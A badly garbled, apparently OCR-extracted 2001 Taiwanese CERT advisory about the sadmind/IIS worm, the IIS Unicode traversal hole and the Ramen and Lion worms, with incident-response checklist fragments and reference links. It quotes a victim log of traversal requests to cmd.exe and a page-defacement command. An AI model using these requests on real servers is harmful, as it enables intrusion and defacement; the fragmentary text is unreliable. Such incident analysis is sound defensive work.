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IP 202.105.74.x 61.146.247 X
209.144.75.x 61.13.8.x unicode
Solarig/lISworm

Solaris7  sandmind
Windows NT/2000 I1S Unicode vulnerability

Victim machine Log

1. 2001-05-08 18:57:52  203.74.153.87 Hinet

2. [scriptg/..\../winnt/system32/cmd.exe /c+dir

3. Iscriptdl..\../winnt/system32/cmd.exe ?/c+copy+winnt\system32\cmd.exe+root.exe

4. [scripts/root.exe
/ct+echo+"<html~>"<body+bgcol or%3Dblack > <brA>"<brA>"<prA>"N<prA>"<pr’
>h<pri>n<tabl e+width%3D 10090 > <td*>"<p+align%3D%22center
%22">"<font+si ze%3D 7+col or%3Dred">fuck+USA+Government</font">"<tr"
SNt >"N<p+align%3D%22center %22/ >"<font+si ze%3D 7+col or%3Dr
ed">fuck+PoizonB Ox"<tr">"<td">"<p+align%3D%22center%22">"<font+si ze%
3D4+col or%3Dred™>contact:sysadmcn@yahoo.com.cn*</html~>>.
J.Jindex.asp

5. 4 index.htm index.asp default.htm  default.asp
6. c:\inetpub\ 4
AdminScripts
Scripts
Ftproot
lissamples
Mailroot
Nntpfile
Wwwroot( )
[N ©)C)
8. 19:02:21 4 166  requests
0. victim_machine,log

GET http://xxx.Xxx.xxx.xxx/scripts/root.exe?/c+dir
HTTP/1.1 200 OK worm
root.exe c:\winnt\system32\cmd.exe index.asp index.htm default.asp
default.htm
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Linux 45
TW-CERT  01/18/2001 4 0
Ramen 3 5f
3/24 TW-CA-2001-015  worm 3 0f
"Lion" TW-CERT 25
DNS  Bind 208
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http:// www. cert.org.tw/
1
2.
3.
4. log Ivar/log message secure xfer
5. login crontab .rhost passwd
sudo netstat...
6. Daemon
7. process port port
| sof
8. ( )
0.
10. ( )
11. IDS
12. PORT port
WEB SERVER PORT 80
13. security policy

14. WwWw.twnic.net WHOIS DataBase

1. http://www.cert.org.tw
2. http://www.cert.org
3. Solarig/lISWorm  http://www.cert.org/advisories/ CA-2001-11.html




3. http://www.attrition.org/mirror/attrition
4  http://defaced.alldas.de




